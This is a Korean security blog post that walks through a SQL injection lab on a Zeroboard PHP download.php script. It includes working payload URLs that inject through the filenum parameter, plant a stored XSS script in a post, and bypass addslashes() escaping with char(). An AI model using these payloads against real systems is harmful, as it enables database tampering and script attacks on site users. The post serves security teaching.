Information Security

SQL Injection 공격 본문

Web Hacking/Web 취약점 분석

SQL Injection 공격

leeeeye321 2017. 12. 6. 13:31

SQL을 이용한 취약점 - SQL Injection(PHP file download)

 

1. 취약점 확인

게시글에서 파일 다운로드를 클릭할 때마다 Download의 횟수가 올라간다.

★ 이 부분에 취약점이 존재한다.

 

페이지 소스를 확인

-> 다운로드를 클릭하면 download.php를 호출하면서 GET 방식으로 값을 전달하는 것을 알 수 있다.

 

download.php 확인

-> update 쿼리를 통하여 Download의 횟수가 올라간다.

-> 실제 수행되는 쿼리를 예상해 볼 것이다.

 

download.php에는 변수를 정의하고 있는 부분이 없고, lib.php를 확인 했다.

 

lib.php에서 $t_board 변수가 정의되어 있다.

 

나머지 변수들은 download.php를 호출할 때 GET 방식으로 외부에서 정의된다.

 

내부에서 정의된 변수: t_board=zetyx_board

외부에서 정의된 변수: id=attack, filenum=1, no=18

 

update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no

=>

 update zetyx_board_attack set download1=download1+1 where no='18'

찾은 변수들의 값을 대입해보면 실제 실행될 쿼리는 위와 같다.

-> 정말 해당 쿼리가 실행되는지 로그를 통해 확인해볼 것이다.

 

일단 mysql를 종료시킨다.

 

옵션을 통하여 실행 시켜준다.

-> /var/lib/mysql 디렉터리의 query.log에 로그가 기록된다.

 

tail 명령어를 사용하여 query.log를 계속 확인하는 상태에서

 

다운로드를 클릭한다.

 

-다운로드를 클릭하면 수행되는 쿼리문들이 출력된다.

-이렇게 실제 수행되는 쿼리를 확인하였다.

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&filenum=1000

외부에서 정의되는 변수는 내가 마음대로 값을 변경할 수 있다.

★ 이것이 file download를 할 때 injection(주입) 취약점이 존재하는 이유이다. 

-> 이 URL로 접속하면 내가 입력한 값이 쿼리에 삽입되어 수행될 것이다.

update zetyx_board_attack set download1000=download1000+1 where no='18'

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&filenum=1=100

그렇다면 만약에 위와 같이 이상하게 값을 주면 어떻게 수행될까요?

 

update zetyx_board_attack set download1=100=download1=100+1 where no='18'

조금 이상하기는 하지만 이렇게 수행된다. 여기서 정상적인 부분을 찾아본다.

 

update zetyx_board_attack set download1=100=download1=100+1 where no='18'

-이 빨간 부분은 정상적인 것 같다. 빨간 부분은 download1에 100으로 값을 주는 update 쿼리가 된다.

-> 여기서 정상적인 부분만 수행되도록 하면 download1의 값은 100으로 변경될 것이다.

-> 정상적인 부분만 수행되도록 하려면 뒷 부분은 수행되지 않도록 주석 처리를 해주면 될 것이다.

-> 주석은 --, # 한 줄 주석과 /* */ 여러 줄 주석이 있다.

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&filenum=1=100 #

URL에 #을 추가하면,

update zetyx_board_attack set download1=100 #=download1=100 #+1 where no='18'

위와 같이 쿼리가 수행되고 주석 처리가 될 것이라 생각했지만

 

실제 수행된 쿼리문을 확인해보면 #이 공백으로 나오게 된다.

-> #은 href=#처럼 링크가 깨지지 않기 위하여 사용하기 때문에 #을 url encoding하여 나온 %아스키 코드값으로 입력해야 한다.

 

URL 인코더를 사용하여 #을 URL encoding한 값이 %23이라는 것을 알았다.

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&filenum=1=100 %23

#대신 %23을 넣고 쿼리문을 확인해보면 #이 들어가서 주석 처리가 된 것을 알 수 있다.

-> 그러면 이제 update zetyx_board_attack set download1=100만 수행이 되어 download1의 값이 100으로 변경되었을 것이다.

 

Download의 값이 정말 100으로 변경되었다!

 

2. SQL Injection 공격 시도

-SQL Injection(file download 취약점)을 이용해서 게시글에 다음과 같은 스크립트를 삽입하기

<script> alert('XSS') </script>

 

게시글 작성 페이지의 소스를 확인해보니 입력된 글 내용이 memo 변수를 통해 write_ok.php로 전달되는 것을 알 수 있다.

 

...

-write_ok.php에서도 update, insert 쿼리를 보면 memo 변수를 확인할 수 있다.

-> memo=<script> alert('XSS'); </script> 이렇게 삽입하면 게시글의 내용이 해당 스크립트로 변경될 것이다.

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&

filenum=1=1, memo="<script> alert('XSS'); </script>" %23

위와 같이 filenum의 값을 정의해주면,

 

update zetyx_board_attack set download1=1, memo="<script> alert('XSS'); </script>" #=download1=1, memo="<script> alert('XSS'); </script>" #+1 where no='18'

-위와 같은 쿼리가 수행될 것이다.

-# 부터는 주석 처리 되어 update zetyx_board_attack set download1=1, memo="<script> alert('XSS'); </script>" 만 수행된다.

 

로그 확인!

 

글을 다시 클릭해보면 스크립트가 삽입(Injection)되었다는 것을 확인할 수 있다.

-> SQL Injection 공격 성공!

 

download 값도 1로 변경되었다.

 

3. string injection 차단

memo같은 string 값을 저장하는 변수는 값을 저장할 때는 반드시 쿼터(', ")가 필요하다.

-> string injection: 이 쿼터 안에 스크립트를 삽입하여 공격 한다.

 

-addslashes() 함수를 사용하면 쿼터 앞에 자동으로 역슬래시를 추가하여 이스케이프(escape) 시킨다.

-> 입력한 값에 대한 검증을 하는 것이므로 시큐어 코딩이라고 볼 수 있다.

 

update zetyx_board_attack set download1=1, memo=\"<script> alert(\'XSS\'); </script>\"

-> 실제 수행되는 쿼리를 확인해보면 addslashes()함수에 의해 쿼터 앞에 모두 역슬래시가 추가되어 있다.

 

4. 우회

-쿼터가 들어가면 addslashes() 함수에 의해 무조건 escape 처리가 되기 때문에, 쿼터를 사용하지 않고 문자열을 입력할 수 있어야 한다.

-쿼터를 사용하지 않고 문자열을 표현하면 우회가 가능할 것이다.

 

ascii(): 문자에 맞는 아스키 코드를 출력한다.

 

char(16진수, 10진수 모두 OK): 아스키 코드에 맞는 문자를 출력한다.

 

download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=18&

filenum=1=1, memo=char(121, 101, 114, 105, 109) %23

char() 함수를 사용하면 쿼터를 사용하지 않고 문자열을 표현할 수 있어서 우회가 가능해진다. 우와

 

update zetyx_board_attack set download1=1, memo=char(121, 101, 114, 105, 109)

-> 실제 수행되는 쿼리 확인

 

우회에 성공하여 글의 내용이 변경되었다.

'Web Hacking > Web 취약점 분석' 카테고리의 다른 글

Blind SQL Injection 공격2  (0) 2017.12.08
Blind SQL Injection 공격  (0) 2017.12.08
PHP File Upload 공격  (0) 2017.12.05
XSS(Cross Site Scripting) 공격  (0) 2017.12.01
제로보드 환경설정  (0) 2017.11.30